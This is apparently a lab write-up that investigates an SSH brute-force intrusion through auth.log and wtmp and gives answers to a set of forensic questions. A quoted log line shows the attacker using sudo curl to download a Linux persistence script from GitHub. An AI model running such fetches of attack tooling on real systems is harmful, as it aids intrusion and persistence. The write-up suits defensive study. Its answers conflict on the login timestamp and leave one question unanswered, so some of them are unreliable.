Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
65.2.161.68
The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
root
Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
2024-03-05 22:32:45
SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
37
The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
cyberjunkie
What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
T1136.001
What time did the attacker’s first SSH session end according to auth.log?
2024-03-06 06:37:24
The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
After unzipping, we are given 3 files to work with: auth.log, utmp.py, and wtmp
To answer the first question, we need to refer to auth.log.
We can find the attacker’s IP of 65.2.161.68 after seeing multiple disconnects occur from that address
Mar 6 06:31:35 ip-172-31-35-28 sshd[2327]: Received disconnect from 65.2.161.68 port 46392:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2327]: Disconnected from invalid user admin 65.2.161.68 port 46392 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2332]: Received disconnect from 65.2.161.68 port 46444:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2332]: Disconnected from invalid user admin 65.2.161.68 port 46444 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2331]: Received disconnect from 65.2.161.68 port 46436:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2331]: Disconnected from invalid user admin 65.2.161.68 port 46436 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2337]: Received disconnect from 65.2.161.68 port 46498:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2337]: Disconnected from invalid user admin 65.2.161.68 port 46498 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2328]: Received disconnect from 65.2.161.68 port 46390:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2328]: Disconnected from invalid user admin 65.2.161.68 port 46390 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2330]: Received disconnect from 65.2.161.68 port 46422:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2330]: Disconnected from invalid user admin 65.2.161.68 port 46422 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2334]: Received disconnect from 65.2.161.68 port 46454:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2334]: Disconnected from invalid user admin 65.2.161.68 port 46454 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2335]: Received disconnect from 65.2.161.68 port 46460:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2335]: Disconnected from invalid user admin 65.2.161.68 port 46460 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2329]: Received disconnect from 65.2.161.68 port 46414:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2329]: Disconnected from invalid user admin 65.2.161.68 port 46414 [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2333]: Received disconnect from 65.2.161.68 port 46452:11: Bye Bye [preauth]
Mar 6 06:31:35 ip-172-31-35-28 sshd[2333]: Disconnected from invalid user admin 65.2.161.68 port 46452 [preauth]
For the second question, we can look into the log to see the successful login of the root account
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:19:54 ip-172-31-35-28 systemd-logind[411]: New session 6 of user root.
Now, we need to find the timestamp of when the attack got access to the system.
We just go into the wtmp file, according to the question, to find out what it is
Reading out wtmp provides no use since it’s encoded. However, using the python script we are given, we are able to easily get it readable by running the file through it
python3 utmp.py wtmp -o wtmp.out
We can now get something much more readable!
I’ll put the output here so that we can reference it here rather than rerunning the script over and over again
However, it should be noted that this date is in PST, so we need to convert it to UTC for it to work
This results in the actual timestamp of: 2024-03-06 06:32:45
Now, we need to find an attacker session for the user account that the attacker used for Task 2, so we need to find a session for the root account
We can find this in the auth.log file
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Now, we need to find out which account was added during the attacker’s session
This can be found easily in the auth.log
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Now, we need to find the MITRE ATT&CK sub-technique ID. Specifically, for persistence by creating a new, local account.
After some research, we are able to find it as T1136.001
